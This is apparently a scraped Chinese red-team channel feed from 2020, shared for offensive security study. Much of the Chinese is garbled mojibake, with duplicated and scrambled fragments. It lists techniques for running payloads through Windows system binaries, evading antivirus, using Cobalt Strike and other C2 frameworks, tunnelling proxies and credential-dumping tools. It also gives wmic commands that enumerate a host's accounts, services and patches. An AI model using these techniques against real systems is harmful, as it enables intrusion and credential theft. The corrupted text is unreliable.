10.8 ऒמ௳තᵞԏฦ᭗ऒአಁ๦ᴴ឴ݐऒٖᧇᕡמ௳-ldifdeૡٍ
10.9 ऒמ௳තᵞ-csvdeૡٍ
10.10 xssԏbeefᐟ࢏
10.11 pstoolsᦖᥴҁᬱᑕಗᤈ޸ե&ጭ୯෭ப੕ڊᒵ҂
10.12 netcatֵአ௛ᕮ
10.13 Բړᰦள᭛ᖫٟᄋ၏exp
ᒫ܈Ӟᒍ ᕁᴚದૣ
11.1 चԭጮܔݷmsbuild.exe ಗᤈpayloadᒫӞਊ
11.2 चԭጮܔݷinstalluitil.exeಗᤈpayloadᒫԫਊ
11.3 चԭጮܔݷregasm.exe ಗᤈpayloadᒫӣਊ
11.4 चԭጮܔݷregsvcs.exe ಗᤈpayloadᒫࢥਊ
11.5 चԭጮܔݷmshta.exeಗᤈpayloadᒫԲਊ
11.6 चԭጮܔݷcompliler.exe ಗᤈpayloadᒫمਊ
11.7 चԭጮܔݷ csc.exe ಗᤈpayloadᒫӠਊ
11.8 चԭጮܔݷmsiexecಗᤈpayloadᒫكਊ
11.9 चԭጮܔݷregsvr32ಗᤈpayloadᒫԜਊ
11.10 चԭጮܔݷwmicಗᤈpayloadᒫ܈ਊ
11.11 चԭጮܔݷrundll32.exe ಗᤈpayloadᒫ܈Ӟਊ
11.12 चԭጮ0ܔݷdcconfಗᤈpayloadᒫ܈ԫਊ
11.13 चԭጮܔݷpsexec ಗᤈpayloadᒫ܈ӣਊ
11.14चԭጮܔݷ url.dll ಗᤈpayloadᒫࢥ܈ਊ
11.15 चԭጮܔݷforfilesಗᤈpayloadᒫ܈Բਊ
11.16 चԭጮܔݷpcalua ಗᤈpayloadᒫم܈ਊ
11.17 चԭጮܔݷcmstp.exe ಗᤈpayloadᒫ܈Ӡਊ
11.18 चԭጮܔݷzipfildr.dllಗᤈpayloadᒫك܈ਊ
11.19 चԭጮܔݷmsiexecಗᤈpayloadᒫ܈Ԝਊ
11.20चԭጮܔݷftp.exeಗᤈpayloadᒫԫ܈ਊ
11.21 ᗑᕶਞق਍ԟොဩᦞԏ֛ᔮጱ᯿ᥝ௔
ᒫԫ܈ᒍ ૡٍս۸զ݊ړՁ
12.1 ᥴ٬ msfvenom޸եᛔۖᤑق
12.2 ૡٍՕᕨ-the-backdoor-factory 
12.3 ૡٍՕᕨveil-EVASION
12.4 ᐶᕚcyberchefֵአ೰ܖ
ᒫ܈ӣᒍ ໜֺړՁ
13.1 ຤ེᶱፓದ๞ᅩਫ୯-regsvr32 ole ੒᨝
13.2 ᴨ᯾ԯaccess tokenᳯ᷌-ᶱፓත឴ᦕ୯
13.3 ՗಑ᅩکऒഴጱᕞԟ
13.4 ਞᴠ᫫կbypass
13.5 dockerଉአ޸եӨdokcerᭈ᭥ᄋ၏॔ሿ
13.6 Ⴝ᭐ဃ௏୯
13.7 ᶱፓࢧ஡ғ֛ᔮጱ๜ᨶฎᎣᦩᅩԀᘶ
13.8 fridaࣁappᬱᑕےᥴੂጱଫአ
13.9 ᄋ၏॔ץᔮڜԏoracleᬱᑕහഝಭྰ॔ץ(ᶋRACሾह҂
13.10 ᦕӞེueditorᘌᇇ๜ጱᶋଉᥢgetshell
13.11 ԯਞلقၥय़ᩦᩦڡgame app᷌ፓᥴຉ
13.12 ӣ੶ᶓ๢൫ୌզٖ݊ᗑႽ᭐ҁᴫᶓ࣋ሾह҂
13.13 ᦕӞེᓌܔጱᄋ၏ڥአӨཞݻ
13.14 ᘉᦲ෈ᒍ
13.14.1 CVE-2019-12757:symantec endpoint protection Ӿጱ๜ࣈ๦ᴴ൉܋
13.14.2 ධڋSQL SERVER CLRᑕଧᵞ
13.14.3 AMTHoneypotᢸᗐ೰ܖ
13.14.4 cobaltstike ֵአႰႝᕰᬦwindows defeder



13.14.5 Ⴝ᭐ਫ౴-՗಑ᅩکऒഴጱقᬦᑕ
13.14.16 dokcerຄ᭛فᳪ
13.14.17 ᦕӞེଫ௒ߥଫ໏๜ړຉ
ᒫࢥ܈ᒍ ᬩ០
14.1.ই֜ਖ਼ᰂਁरܻቘࣁᬩ០Ӿଫአ
14.2. ၚۖஞ஑-ই֜ԈېӞ࣋ဉὄၚۖ
14.3.՗አಁӾ๶҅کአಁӾ݄
14.4 ෈ᒍӨၚۖԏᳵጱىᘶ

Wing: backlion ෆቘ̶
lengyi: ᬯฎ҅຤௤ጱፓ୯Ҙ
Wing: ੒ࠡ
lengyi: ਠݢقզ [୩][୩][୩]

#Burpൊկ#  
shiroݍଧ۸ڜBurpਠᗦࢧดൊկҁᶋ਼ਁᜓਞࣁਂقbugጱൊկ҂҅ݢᯈݳwing૵ؓԏݎڹጱᤩۖಚൈshiroጱBurpൊկֵአ҅य़य़൉ṛႽ᭐පሲ̶
GitHub+-+0x141/ShiroRce-Burp

ᨕྈߝڊጱىԭᕰᬦٖਂັ๤ጱ෈ᒍ

http://feedproxy.google.com/~r/SecurityBloggersNet...

Wing: మېဩਫ᪢

ֵአ wmic ᬰᤈמ௳තᵞ 

for /f "delims=" %% A in ('dir /s/b % WINDIR%\system32*htable.xsl') do set "var=%% A"

wmic process get CSName,Description,ExecutablePath,ProcessId /format:"% var%" >> out.html
wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"% var%" >> out.html
wmic USERACCOUNT list full /format:"% var%" >> out.html
wmic group list full /format:"% var%" >> out.html
wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"% var%" >> out.html
wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"% var%" >> out.html
wmic netuse list full /format:"% var%" >> out.html
wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"% var%" >> out.html
wmic startup get Caption,Command,Location,User /format:"% var%" >> out.html
wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"% var%" >> out.html
wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"% var%" >> out.html
wmic Timezone get DaylightName,Description,StandardName /format:"% var%" >> out.html
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https://github.com/0x141/ShiroRce-Burp
http://feedproxy.google.com/%7Er/SecurityBloggersNetwork/%7E3/3937O87cO10/


#MacTips#  
ᦏIterm2ࣁձ఺ଫአӾ॒ԭ๋Ӥ੶҅ᵋ෸ดᐏ౲ၾ०̶
ই֜ᦏiterm2+ࣁձ֜ኴᶎڊ޷ف޷Ҙ+-+ᎣԒ

#C2#  
GitHub+-+sysdream/chashell:+Chashell+is+a+Go+rever...
զ೭๶Phishing̶ݢHW๗ᳵ҅מአDNSᬰᤈ᭗ڥ

#C2#  
SharpC2
ӥӞྍํ෸ᳵ੪਍ᬯӻ֢҅ᘏᬮࣁ୏ݎӾ҅ሿࣁᚆ᪒᩸๶ԧ̶֕ฎ౯๜ࣈਮಁᒒᬳളteamserverጱ෸ײ੪ݎኞ୑ଉ̶ํي᪁ጱ૵ؓݢզ๜ࣈ᪒ӥ፡፡҅ᦎᦞӞӥ̶

GitHub+-+SharpC2/SharpC2:+.NET+C2+Framework+Proof+...

#ٖᗑႽ᭐#  
ᬯᓤblogᦖԧऒٖtokenጱڥአොୗ҅ૡٍ౯੪ݝႴ༩runas޾incognito̶ٌ՜ጱᬮ஑Ⴔय़ਹᤑ꧌ӥ̶ᬯሻ఺ᇙڦ᯿ᥝѺѺਫ᪢ᦤกӞ̶ڔtsonፗളᬦ̶݄
https://blog.cobaltstrike.com/2015/12/16/windows-a...

z3r0yu: ᬯԍ diao ҅ހ਍Ӟӥ਍Ӟӥ

#ٖᗑႽ᭐#  #ጯਪᓟ#  
Bypass૵ؓෆቘጱᒟᦕ & & &

GitHub+-+Bypass007/Learn-security-from-0:+՗0୏ত਍ਞ҅ق...
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https://www.zhihu.com/question/51622732
https://github.com/sysdream/chashell
https://github.com/SharpC2/SharpC2
https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials/
https://github.com/Bypass007/Learn-security-from-0


உԋԏࢵڹक़ጱӞӻਞࢫقᴚ้ᕪๅෛᬦӞԶىԭ੒ಯጱದ๞҅ইՔਞقᎸᑪާਖ਼ٌෆݳ౮ԧӞӻහഝପٖ҅਻౯፡ԧӥᬮฎஉӧᲙጱ֢҅ԅਁَ౲ᘏtipsᬮฎஉঅጱ

Unprotect+Project

፡ڹ҅ࢶᒒ౯உ̶ཻࡅ

RedTeaming - 2020-08-06 

https://search.unprotect.it/map


Wing: Nice

#redteam#  
Checkpointݎ૲ጱݍ᧣ᦶ໛ຝ

RedTeaming - 2020-08-06 



Anti-Debug+Tricks
զ݊ݍ᧣ᦶਫֺૡٍShowStopper
GitHub+-+CheckPointSW/showstopper:+ShowStopper+is+...

#Burpൊկ#  
ShiroScan
๋ᬪெԍᬯԍग़ൊկੰ
https://github.com/Daybr4ak/ShiroScan/releases/dow...

#ٖᗑႽ᭐#  
դቘ൫ୌጱ᯿ᥝ௔̶
Termiteฎ౯ԏཻࡅ๋ڹአጱզ݊ew҅֕ฎဌํრᎱ҅ع๤੪ྲ᫾ࢯᵙ̶
GitHub+-+ph4ntonn/Stowaway:+ ''Stowaway+--+Multi-hop...  

ᬯӻૡٍጱսᅩғ
- ฦ᭗ጱᒒ॔ݗአ
- ᜓᅩ໅୵ୗ҅ग़੶դቘጱఘ٭ӥ҅ள᭛ڔഘդቘ
- AESੂے᭗מ
- socksդቘ҅ᒒݗ᫨҅ݎ෈կӤփӥ᫹ᒵۑᚆ
ᗌᅩғ
ᕳጮ৫੪ӧᲙԧ҅ᬮ೴̶گᇸ१

RedTeaming - 2020-08-07 

RedTeaming - 2020-08-07 

https://anti-debug.checkpoint.com/
https://github.com/CheckPointSW/showstopper
https://github.com/Daybr4ak/ShiroScan/releases/download/0.4/ShiroScan.jar
https://github.com/ph4ntonn/Stowaway


z3r0yu: ᬯӻᑞਧ௔޽໏Ҙ
Wing: go ٟጱच๜ဌࠨԪ̶౯ེپڹአ ew ਻ฃෙ̶፡य़ਹጱֵአఘ٭ெԍ໏̶
z3r0yu: ᬪ๗አ venom ੪਻ฃૄმധᕚ҅ᬯӻᬮဌ੤ᦶ

#ٖᗑႽ᭐#  
դቘ൫ୌጱ᯿ᥝ௔̶
Termiteฎ౯ԏཻࡅ๋ڹአጱզ݊ew҅֕ฎဌํრᎱ҅ع๤੪ྲ᫾ࢯᵙ̶
GitHub+-+ph4ntonn/Stowaway:+ ''Stowaway+--+Multi-hop...  

ᬯӻૡٍጱսᅩғ
- ฦ᭗ጱᒒ॔ݗአ
- ᜓᅩ໅୵ୗ҅ग़੶դቘጱఘ٭ӥ҅ள᭛ڔഘդቘ
- AESੂے᭗מ
- socksդቘ҅ᒒݗ᫨҅ݎ෈կӤփӥ᫹ᒵۑᚆ
ᗌᅩғ
ᕳጮ৫੪ӧᲙԧ҅ᬮ೴̶گᇸ१

RedTeaming - 2020-08-07 

https://github.com/ph4ntonn/Stowaway


z3r0yu: ᬯӻᑞਧ௔޽໏Ҙ
Wing: go ٟጱच๜ဌࠨԪ̶౯ེپڹአ ew ਻ฃෙ̶፡य़ਹጱֵአఘ٭ெԍ໏̶
z3r0yu: ᬪ๗አ venom ੪਻ฃૄმധᕚ҅ᬯӻᬮဌ੤ᦶ

GitHub+-+rapid7/metasploit-framework:+Metasploit+F...

Msf6

#ᕁᴚྎ۸࢏Ꮈݎ#  
Red Team Scripts by d0nkeys (ex SnadoTeam)
GitHub+-+d0nkeys/redteam:+Red+Team+Scripts+by+d0nk...

#Ⴝ᭐ૡٍ#  
MacӾਞᤰJDK1.8޾JDK11݌ᇇ๜ଚձ఺ڔഘ҅՗ᘒݢզֵአBurpSuite MacOSX๋ෛᇇ҅ਥොጱฎֵአinstall4j಑۱ጱ҅অ॒੪ฎݢզق੽̶ق੽உොֵ׎አ̶

export JAVA_8_HOME=" (/usr/libexec/java_home -v 11)"

RedTeaming - 2020-08-07 

RedTeaming - 2020-08-08 

RedTeaming - 2020-08-09 

https://github.com/rapid7/metasploit-framework
https://github.com/d0nkeys/redteam


alias jdk8='export JAVA_HOME= JAVA_11_HOME'
export JAVA_HOME=$JAVA_8_HOME

ӥ᫹࣎ࣈғဩၹԏ᪠+-+֡ఉஞӾ੆
MacӾਞᤰJDK1.8޾JDK11݌ᇇ๜ଚձ఺ڔഘ+-+Pykk2019+-+ܗਮࢮ

z3r0yu: ౯Ӟፗአጱ jenv ڔഘग़ᇇ๜ Java

#Ⴝ᭐ದૣ#  

Ⴝ᭐ၥᦶӾ឴ݐ+fastjson+ᔜᏟᇇ๜ݩጱොဩ

#CSTips#  
ๅද4.0ᇙ஄
cs_custom_404/4.0+at+master+·+Ridter/cs_custom_404...

Wing च֬ᥝጱ [ࣕᒞ][ࣕᒞ]

᫨ᛔവ

JAVA_8_HOME'<br>alias jdk11='export JAVA_HOME=

RedTeaming - 2020-08-09 

RedTeaming - 2020-08-10 

RedTeaming - 2020-08-11 

https://www.fahai.org/
https://www.cnblogs.com/PyKK2019/p/10587897.html
https://mp.weixin.qq.com/s/o_YjL7il3xlRJIWm0ptGXg
https://github.com/Ridter/cs_custom_404/tree/master/4.0


᤼ᤓݢ :ߵᚆฎ౯᫝֛ӧঅ҅፲፺᮷ᜰԧ [ঃᒞ]
L: ᙟ᭐ඪԧ҅ள݄ԣӻᙟਪ̶ࡆӞᯯݗᐟ൉ᚏ
᤼ᤓߵ: ӷݗᳩኞӧᘌ

#csൊկ#  
GitHub+-+pandasec888/taowu-cobalt-strike+at+englis...

#CTips#  
ԭpdb෈կ֦ᥝᎣ᭲ጱԪى
Definitive+Dossier+of+Devilish+Debug+Details+–+Par...

ᳮDebugى -

#Tool#  
BloodHoundᧇᕡරᑕ
ਞقದ๞|BloodHound+ֵአ೰ܖ

#ԡᔁ#  

RedTeaming - 2020-08-11 

RedTeaming - 2020-08-11 

RedTeaming - 2020-08-12 

RedTeaming - 2020-08-12 

https://github.com/pandasec888/taowu-cobalt-strike/tree/english
https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware.html
https://mp.weixin.qq.com/s/dBWq1rCZYVS9oDgIGwcCdA


փ᧔Ӿጱጯᑀقԡ

᱾ളғhttps://pan.baidu.com/s/1k8XO7lGzYL-uRnrLBIVefQ  ൉ݐᎱғg3Zf

Wing: ٖ਻ӧ؉ᦧᦞ҅֕ฎݢզᆙ፳ᬯӻᕮ຅݄਍ԟ҅ᕮ຅۸ෆቘ̶
᤼ᤓߵ: ౯ጱᦾঅމ [Emm]

#๤ع#  
PEzorᬯӻૡٍ҅ع๤පຎꂁঅጱ҅ᴻԧܜ૬ٌ՜ጱ᮷ӧտᦩ̶ڦಸጱฎdonut shellcode̶ᖫᦲᬦᑕտ᭬کӞԶࣗ҅ইຎ᭬کጱݢզٚᳯ̶ୌᦓࣁKaliӥᖫᦲ҅keystoneጱਞᤰᥝ݄፡ਥො෈໩಍ᤈ̶

ᬻᬸॿᇙ่: mac ӥஉঅᤰԧ҅ ੪ฎ donut ࣁ mac ӥᬩᤈӧԧ ̶̶̶
Wing: ੒̶ࠡ[ঃᒞ][ঃᒞ][ঃᒞ]
ᬻᬸॿᇙ่: ᬯӻᚆፗള॒ቘ cs ኞ౮ጱ beacon.exe ҅ހ๶ӻරᑕމ [ݢ௎]

#RedTeam#  
Ӟӻᛔ૩ᦕ୯ጱCobaltStrikeፘىᩒრ࿤௛҅۱ތԧBOFᩒრ
1. Ӟ᮱ړฎᬪ๗؉RedTeamᶱፓጱ෸ײ፡کጱӞԶىԭCobaltStrikeӧᲙጱ෈ᒍ
2. ፓڹᗑӤጱAggressor Scriptᐿᔄᔺग़҅य़ग़හᩒრጱᘸݳ᮷ฎݝᕳڊ੒ଫጱ᱾ള҅ᘒӧ᧔กฎଗՋԍጱ҅զᛗԭັࣁ፡෸ӧᎣ᭲ই֜ᭌೠ҅ᥝӞӻӞӻ಑୏፡
ݳԭෛᇙ௔BOFᩒრጱෆى .3
4. ᥴ٬ᥝአጱ෸ײತӧݳکᭇaggressor script౲ᘏBOFጱᳯ᷌
5. ইຎํ๜repoဌํၿ݊ጱսᨶٖ਻ཻ҅ᬨय़ਹ൉Իpr
6. ཻᬨय़ਹ๶star
᱾ളғGitHub+-+zer0yu/Awesome-CobaltStrike:+cobaltstrike...

ฎՋԍᦏᬯ᯾ᶉ௿௿ጱޫҘฎᆽހҘӧฎ҅ฎ H-/:.’W

BlackHatጱC2 ᵌᡐᦓ᷌

GitHub+-+SixGenInc/Noctilucent:+Using+TLS+1.3+to+e...

Wing: ၥᬦހ……
lengyi: ဌ෸ᳵၥࠡњ
Wing: ౯ภӤෆӥ̶
Wing: ᪒᩸๶ԧ҅ဌ౮҅ۑฮ෸ضአ፳ cs ጱԧ̶

#Poc-Exp#  

HWڹጱᐑፋ:᭗ᬡOA+0day᧗ັත

RedTeaming - 2020-08-12 

RedTeaming - 2020-08-15 

RedTeaming - 2020-08-16 

RedTeaming - 2020-08-16 

RedTeaming - 2020-08-16 

https://pan.baidu.com/s/1k8XO7lGzYL-uRnrLBIVefQ
https://github.com/zer0yu/Awesome-CobaltStrike
https://github.com/SixGenInc/Noctilucent
https://mp.weixin.qq.com/s/9w3-xJPaUFFPkJSQrtOTnw


-: ࿢Ӟղ࿢Ӟղ
Wing: [HWڹጱᐑፋ:᭗ᬡOA+0day᧗ັත_ἓਮದ๞](http://www.hackdig.com/08/hack-111538.htm)

ཻᬨ॔ሿ҅rust౯ਫࣁฎӧտ҅ሾहॡᵙ୓ԧ҅ํᚆێጱ૵ؓ᯿ٟ҅މ౲ᘏᬦپॠ౯᯿̶̶̶ٟ

https://zerosum0x0.blogspot.com/2020/08/sassykitdi...

#CTips#  
ᚙVMP?
GitHub+-+can1357/NoVmp:+A+static+devirtualizer+for...

உ੫੩

WebSphere+ᬱᑕդᎱಗᤈᄋ၏CVE-2020-4450

#Poc-Exp#  
॓ղኸਂӞӥ
Ⴎמ๐EDR RCE AND ᭗ᬡOA ܲݥᄋ၏

RedTeaming - 2020-08-17 

RedTeaming - 2020-08-17 

RedTeaming - 2020-08-17 

RedTeaming - 2020-08-18 

RedTeaming - 2020-08-18 

https://zerosum0x0.blogspot.com/2020/08/sassykitdi-kernel-mode-tcp-sockets.html?m=1
https://github.com/can1357/NoVmp
https://mp.weixin.qq.com/s/cG8onNoNsYWGZNQdp1XI3Q


#Poc-Exp#  
॓ղኸਂӞӥ
Ⴎמ๐EDR RCE AND ᭗ᬡOA ܲݥᄋ၏

#Poc-Exp#  
Ant Designิἓཛྷୗ,Start Coding.

https://preview.pro.ant.design/dashboard/monitor

Vueᇇ޾Reactᇇ

#ᏦᏦஷ#  
[ஙᒞ][ஙᒞ][ஙᒞ]զྯݸӞེਫ౴Ӿጱݍ୨shellӞਧᥝੂے[ஙᒞ][ஙᒞ][ஙᒞ]

Linuxӥጱ๦ᴴᖌ೮+|+Wing+|+RedTeamer

Wing: ૪݄Ӯ
᤼ᤓߵ: ᙗਧࠡ҅੪ฎํԶሾहӾဌํ openssl
᤼ᤓߵ: ํԶԪ҅Ӟ෮ݎሿ੪ӧٚ [ঃᒞ]
z3r0yu: ᤩڦՈളᩳࠩҘ #ᦾ᧔ᬯ໏ৼ୨ӧঅᓕቘމҘইຎ౯୨অग़ݣጱᦾ

RedTeaming - 2020-08-18 

RedTeaming - 2020-08-18 

RedTeaming - 2020-08-19 

https://preview.pro.ant.design/dashboard/monitor
https://evilwing.me/2020/03/04/linux-xia-de-quan-xian-wei-chi/#toc-heading-14


#ဌՋԍአጱᜰ᯾ᙲ߸ጱದૣ#  
CSDN໒ୗ۸಑ܦ
(function(){

(" #comment_title, #  comment_list, #comment_bar, #  comment_form, .announce, #ad_cen, #  ad_bot").remove();
(".p4course_target, .comment-box, .recommend-box, #csdn-toolbar, #  tool-box").remove();

(".tool-box").remove();
("main").css('float','left'); 

window.print();

$("tool-box").remove();
})();

#Nday#  
᭗ᬡOA RCE̓OA V11.6̈́

#ਞقचᏐ#  

("#side").remove();<br>
(".nav_top_2011,  `#header, #` navigator").remove();<br>

RedTeaming - 2020-08-19 

RedTeaming - 2020-08-19 

Ⴝ᭐ದૣ
Ӟ๵޸եpush burpᦤԡکཛྷ೙ݒ,࢏౮ᔮᕹ໑ᦤԡ.

# Security+Chops+|+/dev/random+-+One+Liner+For+Insta...
#
curl --proxy http://127.0.0.1:8080 -o cacert.der http://burp/cert <br>&& openssl x509 -inform DER -in
cacert.der -out cacert.pem <br>&& cp cacert.der 

(openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1).0 /sdcard/ <br>&& echo -n "mv
/sdcard/

(openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1).0" | adb shell <br>&& echo -n
"reboot" | adb shell <br>&& rm $(openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1).0
<br>&& rm cacert.pem <br>&& rm cacert.der

https://gist.github.com/vavkamil/ad5ddbeec4685c6bc...  

(openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1).0 \<br>&& adb root \<br>&& adb remount \<br>&& adb push

(openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1).0 /system/etc/security/cacerts/" | adb shell \<br>&& echo -n "chmod 644 /system/etc/security/cacerts/

RedTeaming - 2020-08-20 

https://securitychops.com/2019/08/31/dev/random/one-liner-to-install-burp-cacert-into-android.html
http://127.0.0.1:8080/
https://gist.github.com/vavkamil/ad5ddbeec4685c6bca271063d0c95054


IDAֵአᓌฃරᑕ_਍ᭋݻᦞࣚ|عᩇጱCTFࣁᕚᕞԟଘݣ|ctfධᴠᦒᕞᶓ࣋|ᗑਞ५෪ᒋᩦᔮᕹ|᫫կ...

[IDAරᑕ]01-՗ᵭ୏তአIDA؉ᭋڣ-ݻෙPE෈կฎ32֖ᬮฎ64̵֖ᭌᶱܜՕᕨ+-+17bd...

#Ⴝ᭐ದૣ#  

᭗ᬦ޸եӥ᫹ಗᤈ௶఺դᎱጱپᐿ঵۠

#ᕁᴚದૣ#  
᭗ᬦWin32ApiڠୌአಁDemo

Backdoorplz/AddUser.cpp+at+master+·+jfmaes/Backdoo...

#ٖᗑႽ᭐#  
Ⴝ᭐चᏐ——ऒአಁጱੂᎱ࿞ӧᬦ๗ં௔

Ⴝ᭐चᏐ——ऒአಁጱੂᎱ࿞ӧᬦ๗ં௔

#msf6ๅෛጱۑᚆ#  
ੂےᒒکጱᒒמᚆ۱ೡMeterpreter᭗ۑতڡ *
* SMBv3ਮಁᒒඪ೮
* Windows Shellcodeጱෛጱग़ாํප᫹រኞ౮

#msf6ෛጱexp#  
* Documalis JPEGᖨ܄٫ფڊ
* Dockerᇙ๦ᭈ᭥
* Nimsoft 7.80 -wetw0rkጱᬱᑕᖨ܄٫ფڊ - CVE-2020-8012

#ी୩ۑᚆ#  
* ꧋ᦜ੕فOpenVASಚൈӾಸޞጱ҅๚ړᯈCVE౲BIDጱᄋ၏
* Ⴒےԧ஠ᥝጱचᏐᕮ຅҅զ՗क़᮱හഝ෈կے᫹॒޾ቘग़ாᑕଧᵞਂ໑҅ଚֵአਙ๶ۖாࣈ᯿ෛഭଧBlock APIਂ໑ጱ೰ե҅ᧆ೰եԅಅํx86޾x64๜๢Windowsํපᨮ᫹൉̶ێۖ׀
* Metasploit੒Railsጱׁᩢ௔՗4.2.6ๅෛکԧ5.2
* ᬰӞྍፘᕮݳPSEXECඪ೮᭗ᬦႲےARCH_CMDፓຽکexploit/windows/smb/psexecཛྷࣘ޾୒አauxiliary/admin/smb/psexec_command
* ๅෛԧSMBᇇ๜ಚൈཛྷࣘ҅ᴻԧԆ๢඙֢ᔮᕹמ௳क़҅ᧆཛྷࣘሿࣁᬮಸޞ᧘ইඪ೮ጱSMBᇇ๜҅SMBጱḒᭌො᥺҅SMB 3.1.1ܴ޾ੂےᖽۑᚆ҅๐࢏ۓጱGUID꧊զ݊๐࢏ۓ૪ᘶ๢̶ᬯԞਖ਼୒አsmb1޾smb2ཛྷ̶ࣘ
* ݄ᴻ҅զඪ೮୊֐ጱMimikatz Meterpreter੪տ୊ᳩ̶Mimikatzಘ઀ݷ୮ڹฎKiwiጱ҅ݷڦਙਖ਼ࣁӞྦྷ෸ᳵٖ಑ܦᦄޞၾ௳҅զ꧋ᦜአಁଘᑞᬦჁکෛૡ֢ၞᑕ̶ᧆpost/windows/gather/credentials/ssoཛྷࣘԞᬰᤈԧๅෛ҅զֵአKiwiդ๊Mimikatz̶

* දݒአԭํප᫹រֵአMetasploitጱݍ੘DLLဳفᚆ޾ێኧձӞଧݩ౲ݷᑍڥአԭᥴຉጱۑᚆ̶ᬯֵ໛ຝݢզڥአ๋ᬪጱํපᨮ᫹ๅෛ๶ڢᴻਁᒧԀݷᑍ҅ᆐݸೲᶲଧᥴຉ஠ᥝጱ꧊̶໛ຝጱๅදӨֵአຽٵReflectiveLoaderݷᑍጱReflective DLLّݸݻ਻̶

* ीےTLVੂےඪ೮PythonጱMeterpreter੪տֵٌ҅ᚆड़ਞࣈقӨ໛ຝᬰᤈ᭗̶מ
* Ⴒےԧ੒ਮಁᒒ඙֢ጱSMBv3ඪ೮̶ሿ҅ࣁ૪ᕪֵአෛSMBਮಁᒒጱཛྷࣘਖ਼ᚆड़ᬳളํٍکಅํ3ᐿSMB v3ො᥺ҁ3.0̵3.0.2̵3.1.1҂ጱ๐̶࢏ۓইຎࠟܐԧSMB 3.xො᥺҅ڞἕᦊᤈԅฎ੒Ө๐࢏ۓጱ᭗מᬰᤈ̶ੂےአಁݢզ᭗ᬦਖ਼SMB ::
AlwaysEncryptᦡᗝԅfalse๶ᐬአྌۑᚆ̶
* ๅදአ๶ࠟܐTLVੂےMeterpreter੪տࣁԫᬰګDER໒ୗᘒӧฎचԭ෈๜ጱPEM໒ୗփᬌጱRSAੂᰬ̶ᬯֵੂᰬๅੜ҅ๅฃԭ॒ቘ҅ଚڢᴻԧᶉாጱ“ BEGIN PUBLIC KEY”ਁᒧԀ̶
* Sharphoundཛྷࣘጱفے

RedTeaming - 2020-08-20 

RedTeaming - 2020-08-21 

RedTeaming - 2020-08-21 

RedTeaming - 2020-08-21 

https://www.xuenixiang.com/thread-99-1-1.html
https://www.cnblogs.com/17bdw/p/12239505.html
https://mp.weixin.qq.com/s/pz6y8299gMUOgtZjZv5puw
https://github.com/jfmaes/Backdoorplz/blob/master/EXE/AddUser.cpp
https://mp.weixin.qq.com/s/e-oJZAPBswObNDvGctAHwg


PR Ѽ13194՗h00die൉ṛᦄᇦཛྷࣘጱඪ೮ٍ֛҅ইӥғ

੒Sharphound v3ጱๅෛ
ෛीԧਖ਼exeٟفᏺፏଚᬩᤈਙጱۑᚆ҅ኧԭ๦ᴴ޾ᒽኼ҅ਙྲps1ๅݑᶆ፷̶
ਖ਼ᭌᶱႲکےEncryptZip҅ἕᦊఘ٭ӥᦡᗝԅtrue̶ᬯԅ෈կीےԧӞԶכಷ҅ଚӬᬌؙਂڊԅဳ᯽
ႲےNoSaveCacheᭌᶱզ᭿عਖ਼෈կٟفᏺፏଚਖ਼ٌכኸࣁᏺፏӤ
᭿ֵعአ݇හҁইຎਙժฎἕᦊ꧊҂҅ᬯտֵᥝᬩᤈጱ޸եҁզ݊ࣁᕚփ᭓ጱ޸ե҂य़य़ᖽᎨ̶

* ੒tools / dev / check_external_scripts.rbᬰᤈԧๅද҅զ۱ٌތ՜ӨJohnTheRipper޾sqlmapፘىጱ෈կ̶ᬯ꧋ᦜtools / dev / check_external_scripts.rb൉׀ಅํӨJohnTheRipper޾sqlmapፘىጱପ޾ᯈᗝ෈կ๋ෛጱכᦤ̶

#Კ᧏॔ץ#  
ԅᵭވḵᦤහഝฎڹ੤ᦶᥴຉහഝԏࣁጱහഝጱ꧊ԅnil̶ᬯਖ਼࢏postgresᥴຉکᭆݎଚӬ҅٭ሿᒋԩఘڊ๗ᳵݐॺളਁ᧛ࣁᚆݢᚆտ֕ӧॡݢӥጱᲙ᧏҅ᧆᲙ᧏٭ԧӞӻຄᒒఘ॔ץ *
* ྋ೯᫹ᅩጱfinesystem.rbىᳮ޾ೆᴻ̶զ҅ڹ౯ժ෫ဩᬬࢧᧆݙຢ౲෫ဩྋᏟىᳮਞᤰᅩ̶
॓ݸᭌᶱ֢ԅےጱᴫੂےAES-128-CBC֢ԅTLVےྌ॒Ⴒࣁڞ256֖҅ࠟܐᚆ̶ইຎᬱᑕJavaᇇ๜෫ဩۑฎ຤Զ᫾෯ጱሾह෫ဩඪ೮ᧆ֕҅ੂےզඪ೮256֖ݢ౯ժ؃ᦡಅํJavaᇇ๜᮷҅ڹጱᲙ᧏; զݒӾᵋᴫጱๅෛ๋ᬪጱੂᎱද॔ץ *

๶რ᱾ള:
Metasploit+Wrap-Up
Metasploit+6+Now+Under+Active+Development

#ٖᗑႽ᭐ૡٍᵞ#  
GitHub+-+b4rtik/SharpKatz:+Porting+of+mimikatz+sek...

ሒሢ໘ጱ᫷ᰁᇇ

#ਞقचᏐ#  
വគӞူReactጱරᑕ,౯ᥧ஑ᦖጱஉᓌܔ.
https://www.bilibili.com/video/av413129060?p=4

Ӟ୏ত౯ฎአVue,ٟጱᔮᕹԞฎᴨ᯾ጱAnt໛ຝ,ᶋଉ౮ᆧԧ,Vueᇇ๜Ԟஉঅአ,ਥොጱฎReact,ᶲಋ਍Ӟူ.

#ٖᗑႽ᭐ૡٍᵞ#  
patch termsrv.dll
֢አ:꧋ᦜग़ӻտᦾ
ᗌᅩ:ݝᚆWin10
GitHub+-+infosecn1nja/SharpDoor:+SharpDoor+is+alte...

RedTeaming - 2020-08-23 

RedTeaming - 2020-08-24 

